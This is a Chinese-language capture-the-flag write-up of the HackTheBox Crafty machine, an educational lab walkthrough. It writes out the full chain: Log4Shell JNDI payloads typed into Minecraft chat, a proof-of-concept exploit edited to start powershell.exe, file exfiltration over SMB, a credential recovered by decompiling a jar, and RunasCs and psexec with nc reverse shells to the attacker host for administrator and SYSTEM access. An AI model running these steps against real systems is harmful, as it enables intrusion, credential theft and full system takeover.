本文基于红队大佬的视频,由于本人懒得弄代理了,就直接跟着红队的视频一步步走了,不免有些磕磕绊绊,我已记录的尽可能详尽,希望读者能够学习思路并且进行思考。
视频链接:
「红队笔记」靶机精讲:HTB Crafty - 史诗级漏洞Log4Shell利用链全角度分析,Java逆向提权以及内网高级提权,细节加强版,新手友好。-红队笔记-红队笔记-哔哩哔哩视频
一. 扫描枚举和爆破
nmap扫描
攻击机ip:10.10.16.17
linux kali 网卡是tun0,之后的tshark中要指定
靶机ip:10.129.25.171
windows操作系统,使用了vpn故而延迟较低,否则延迟能过300ms
sudo nmap -sT --min-rate 10000 -p- 10.129.25.171
发现80和25565端口开放
sudo nmap -sT -sV -sC -p80.25565 10.129.25.171
-sC
:使用默认Nmap脚本检测漏洞。
对80端口:
服务标识:Microsoft IIS httpd 10.0
IIS 10.0:对应 Windows Server 2016/2019
关键发现:未跟随重定向 redirect-->重定向
http-title: Did not follow redirect to http://crafty.htb
说明直接访问IP会返回302
重定向到域名crafty.htb
,需本地绑定域名才能完整测试。
sudo sed -i '1i 10.129.25.171 crafty.htb' /etc/hosts
sed
:流编辑器(Stream Editor),用于文本转换-i
:直接修改文件(in-place edit),不创建备份
'1i 10.129.25.171 crafty.htb'
:
1
:第一行i
:插入(insert)操作10.129.25.171 crafty.htb
:要插入的内容/etc/hosts
:目标文件路径
这样便进行了域名绑定,如下图
head -n1 /etc/hosts
head
:显示文件开头内容的命令-n1
:只显示第一行
对25565端口:
游戏服务版本:minecraft 1.16.5
服务器名称:Crafty Server
(可能为自定义服务端)。
当前用户数:0/100
(当前无玩家在线)。
sudo nmap --script=vuln -p80,25565 10.129.25.171 并没有暴露出什么漏洞
二. 80端口的渗透
访问域名:crafty.htb
点击三个图片,但都没有什么特殊的跳转
发现下面又有一个新的域名,我们再次本地绑定域名后访问一下
但访问后发现,这个play.crafty.htb和crafty.htb访问的是同一个页面
查看一下网页源码,也没找到什么可以利用的东西
那我们就爆破一下目录,寻找未发现的文件和隐藏目录
feroxbuster -u http://crafty.htb -w /usr/share/seclists/Discovery/Web-content/directory-list-lowercase-2.3-medium.txt
- 字典路径:
/usr/share/seclists/Discovery/Web-content/directory-list-lowercase-2.3-medium.txt
- 来源:
seclists
是 Kali Linux 预装的常用安全测试字典集合。 - 特点:
- 全小写字母(
lowercase
)(因为在这里考虑是windows的iis服务,所以直接用小写) - 包含约 220,000 条常见 Web 路径(
medium
规模) - 适用于发现后台、API 端点、配置文件等。
- 全小写字母(
- 来源:
- 典型字典内容示例:admin , login , backup , wp-admin , config.php
需要一段时间才能扫描出来
那我们在这段时间内思考一下,既然play.crafty.htb和crafty.htb访问的是同一个页面,那会不会还有没发现的其他子域名呢?
gobuster vhost -u http://10.129.25.171 --domain crafty.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-11000.txt --append-domain -r
命令分析如下:
| 使用 Gobuster 的虚拟主机扫描模式 |
指定目标基础 URL | |
| 设置主域名(用于拼接子域名) |
| 指定子域名爆破字典文件 |
| 将字典内容附加到主域名后(如 |
| 遵循重定向(自动跳转时继续扫描) |
插曲:其实这里若是53端口开放,可以将vhost替换为DNS
vhost是通过主机头的方式来探测,通过web数据包中的主机头,看主机头能不能响应,根据状态码来一一枚举字典中的词条
dns是通过dns服务器直接探测,包括区域传输,枚举等等
三. 对25565端口的渗透
访问下25565,出现报错
我们用curl看一下 第一次显示需要http0.9我们给加上,第二次显示正常,我们加-L看看有没有重定向,显示结果相同,并没有重定向。
curl --http0.9 -L http://craty.htb:25565
-L
(跟随重定向)
- 作用:
若服务器返回301
或302
状态码,cURL 会自动跳转到新 URL。
由于gobuster还在扫描,我们尝试一下tshark查看流量包获取更多信息
tshark -i tun0 -f 'port 25565' -w crafty.htb
| Wireshark 的命令行抓包工具(轻量级) |
| 指定监听的网络接口( |
| 设置捕获过滤器(BPF 语法),仅抓取 25565 端口的流量 |
| 将抓包数据保存到文件 |
这里文件名写错了,应该是crafty.pcap,我们重命名一下,不然打不开
mv crafty.htb crafty.pacp
tshark -r crafty.pcap -x
查看具体的包,发现fe 01结尾的数据包之后的那个数据包很像nmap的扫描结果
那我们用nc交互一下确认结果
直接交互没有结果,我们指定参数fe 01
echo -ne '\xfe\x01' | nc crafty.htb 25565
echo -ne '\xfe\x01' 输出十六进制字节 FE 01(-n 不换行,-e 启用转义)
nc crafty.htb 25565 使用 netcat 连接 crafty.htb 的 25565 端口
这些信息我们之前就获得过,所以没有什么更有价值的信息了
这时候gobuster也快扫描完了,我们瞄一眼,发现有很多这样格式的域名
其实这些像乱码一样的域名是:punycode
比如输入:www.由比滨结衣.com 同样会出现这种域名,这就证明了上面的子域名爆破中含有很多中文的子域名,但全部4xx,没有价值
把gobuster结果全看完,发现每一个200状态码的,全部扑街。
我们用自带的searchsploit扫一下minecraft,只有一个提权,但我们立足点都没有,提什么权呢
发现没有下手的地方,我们只能发动社会工程学,网上查找minecraft具体的1.16.5版本有什么漏洞
不约而同的指向log4jshell,那我们走走这条道
四. log4shell原理
这里就不详细赘述了,网上很多资料,其实就是一个在请求中注入恶意payload的原理
衍生出了一些漏洞
五. log4shell利用
利用方法wiki上写的很明确,先进游戏,然后聊天框输入信息,也即我们构造的payload
官方正版要收费的,我们在渗透过程中最好不要留下付费信息,以免留下把柄
(不是哥们买不起┭┮﹏┭┮)
我们用社区客户端tlauncher试试,tlauncher.org/en/选择linux下载
我们解压加载器
sudo java -jar
接下来就是简单的启动,选版本,打开游戏
因为是服务器嘛,所以选择多人游戏
服务器信息盲猜是之前的两个域名中的一个
play.crafty.htb成功了,但是一直在搜索,那我们就暴力一点,直接连接
但凡玩过我的世界都知道按t输入命令,不过在此之前我们需要在本地先开启一个监听
sudo rlwrap -cAr nc -lvnp 389
rlwrap为了获得shell之后能够灵活的操作目录
| 为 |
| 启动 |
rlwrap
包装器
- 功能:为原始命令行工具(如
nc
)添加以下特性:- 行编辑:支持方向键移动光标、退格修改。
- 历史记录:保存输入命令,可通过
↑
/↓
调用。 - 自动补全(
-c
):按Tab
补全路径/命令。 - 彩色提示(
-A
):高亮显示输入输出。 - 保留历史(
-r
):即使程序崩溃也不丢失记录。
我们先看一下这个漏洞是否存在,监听有反应,就证明漏洞存在了
${jndi:ldap://10.10.16.17/a} 输入到mc的聊天框中
有反应,证明漏洞可以利用
我们在github上搜一搜利用log4shell攻击的库
https://github.com/kozmer/log4j-shell-poc.git(挂梯子打开哦)
尝试着利用一下,先下载下来

有运行需求,先执行一下吧

回头看一看github上要怎么使用

说的很明白,我们跟着做就行
我们先启动443端口的监听
sudo rlwrap -cAr nc -lvnp 443
然后输入命令
python3 poc.py --userip 10.10.16.17--webport 8000 --lport 443

出现报错,缺少jdk1.8.0_20,那我们去下载
(其实学习中很多事情步骤都很清晰,但像这种巧妇难为无米之炊的情况,会很浪费你的精力,因为你不知道“明明我就跟着步骤走的哇,怎么一会缺这个文件一会缺那个文件”,所以学习最好还是有人带着一步步走,少踩坑,提升效率,当然当代大学肯一步步带着你走的老师算少数了,大部分就是给你个指导书自己摸索……)
readme上提示下载地址,但进入oracle后下载jdk1.8.0_20需要注册,很麻烦,我们最好在网上搜一搜有没有共享账号


下载下来解压

再次然后输入命令
python3 poc.py --userip 10.10.16.17--webport 8000 --lport 443

这次成功了,还产生了payload
我们将payload输入到mc聊天框中,却发现监听窗口没有反应!!!!
我们打开poc.py看看里面到底怎么写的

发现了端倪,我们靶机是windows,所以要将这里的/bin/sh改成powershell.exe

再次重新执行(注意要退出重进一下,端口最好也重新监听)
python3 poc.py --userip 10.10.16.17--webport 8000 --lport 443

我们看到已经拿到了powershell.exe,接下来就是提权了!
我们找一下当前用户的flag(毕竟是靶机嘛,拿到flag就代表你成功了)
gci-r c:\users\ *.txt -ea0
参数/组件 | 作用 | 等价完整参数 |
|
|
|
| 递归搜索子目录 |
|
| 目标目录路径( | - |
| 文件扩展名过滤器(匹配所有 | - |
| 忽略所有错误(静默模式) |
|

成功拿下当前用户的flag!!!
六. 尝试提权到administrator
查看系统信息

由于有web服务,我们去c盘下的inetpub看看文件,其中web.config是我们感兴趣的

打开看看,发现做了很多重定向的设置,这也对应前面我们80端口渗透的内容,但没有其他实质性的有价值的信息

搜索一下其他关键字

还是没有内容

history里面全是我们刚才输入的命令

尝试进入管理员目录搜东西也被拒绝了

svc_minecraft里面也没有很有价值的

我们翻翻找找,感觉也就plugins文件夹里面的一个.jar和server.jar里面可能有攻击面,回到kali下载下来
impacket-smbserver RedteamNotes ./ -smb2support -username redpen -password RedteamNt3s
| Impacket工具集中的SMB服务器模块 |
| 共享名称(客户端访问时显示的共享名) |
| 共享的本地目录路径(当前目录) |
| 启用SMB2协议支持(兼容现代Windows系统) |
| 设置认证用户名( |
| 设置认证密码( |
插叙SMB2:
SMB(Server Message Block) 是一种网络文件共享协议,主要用于Windows系统间的文件和打印机共享。
SMB2 是第二代协议(2006年随Windows Vista推出),相比SMB1(旧版)有以下核心改进:
特性 | SMB1(已淘汰) | SMB2(现代标准) |
协议效率 | 多命令交互,高延迟 | 复合请求,减少往返次数 |
安全性 | 依赖NTLM,易受攻击(如永恒之蓝) | 支持AES加密和Kerberos认证 |
兼容性 | 支持老旧系统(XP/2003) | 需Windows Vista或更高版本 |
默认状态 | 默认禁用(因安全问题) | 现代系统默认启用 |
net use \\10.10.16.17\RedteamNotes /user:redpen RedteamN0t3s
| Windows 网络共享连接管理命令 |
| 目标共享路径(IP+共享名) |
| 指定用户名( |
| 用户密码(区分大小写) |
copy-item ./server.jar \\10.10.16.17\RedteamNotes\server.jar
| PowerShell 文件复制命令 |
| 源文件路径(当前目录下的 |
| 目标路径(远程SMB共享中的文件) |

同理下载另一个文件

可以看到已经下载完成

断开net use 清理痕迹
net use \\10.10.16.17\RedteamNotes /delete

接下来我们查看下载下来的文件有没有敏感信息

我们要读取,就需要进行java反编译(也就是逆向,提前做好逆向的代码很怪的心理准备),我们用工具jd-gui(kali不自带,需要下载)

server.jar没啥信息,一般开发也不会把重要敏感信息直接放在这里面
我们看另一个插件.jar,发现password字样


在另一个类中发现一段疑似密码的字样,运维开发人员喜欢密码复用,我们看看这次能不能拿这个字符串去登录一些东西

查看一下用户信息,发现共有6个用户,有登录记录的有三个用户

一般能进行系统登录的无非是RDP远程桌面,WinRM5985, WinRM5986,SMB这些
那现在就尝试在当前用户状态下,能不能开通这些服务,最常见的WinRM5985试一下
enable-psremoting -force

WinRM5985 失败,需要admin权限
那我们思考一下,假如我们的密码是有效的,那肯定要有输入密码的地方吧,也就是显式的登录(明确指明用户名,然后输入密码)
我们尝试一下powershell里面的显式登录
runas /user:administrator powershell
| Windows 提权工具,允许以其他用户身份运行程序 |
| 指定目标用户(此处为管理员账户 |
| 要运行的应用程序(此处启动 PowerShell) |

没有给我们输入密码的机会就直接显示下文了,这在渗透过程中是很常见的,我们用工具解决这个问题--runascs
这个工具我们在github上下载,解压,然后从kali中传到靶机上
sudo php -S 0:80

programdata是所有用户都有权访问的文件夹,方便一些,我们在这里面创建新文件夹

名称不变的下载下来
iwr http://10.10.16.17/RunasCs.exe -outfile RunasCs.exe

gci查看一下,已经下载下来了

./runascs.exe administrator 's67u84zKq8IXw' powshell -r 10.10.16.17:443 -t 0
| 自定义提权工具 |
| 目标用户名(尝试以管理员权限运行) |
| 密码(明文形式,存在安全风险) |
| 要启动的程序(PowerShell) |
| 反向Shell参数(连接攻击者的IP和端口) |
| 超时设置(0表示无超时) |

在我们监听的443端口已经返回了新的shell,不出意外,是管理员的权限

看到了root.txt,这应该就是另一个flag

拿下!!!
七.尝试获取最高权限system
system是windows本地系统账号,拥有最高权限,可以访问操作系统中的所有资源,包括系统文件,注册表,进程等等
很多操作系统的服务和进程都是以system账户来运行的
这个账号不需要密码,但也不是随便以普通的登录方式登录上去的
administrator会受到本地策略的限制,所以system是我们的最终提权目标
我们使用psexec这个微软自己的运维工具

下载的是一套工具包,我们只选用psexec64位的版本

传到靶机里面


查看一下帮助

为了提权到system还需要netcat,我们也下载到靶机上

再传到靶机上

工具已经全部就绪

开启端口监听shell
在administrator用户下执行命令(别用最开始获得的shell,提权是一步步的,哪有这么容易跳步)
./psexec64.exe -accepteula -i -s cmd.exe /c "c:\programdata\apps\nc64.exe 10.10.16.17 443 -e powershell.exe"
| Sysinternals 工具包中的远程执行工具(64位版本) |
| 自动接受最终用户许可协议(避免交互式提示) |
| 以交互式模式运行(显示用户界面) |
| 以 |
| 启动 |
| 通过 |

成功拿到了nt authority\system 用户

到此全部结束!!!完结撒花!!!

我自己跟着视频走,边学边查边操作边记录花了6小时,只能说红队大佬nb好伐!!!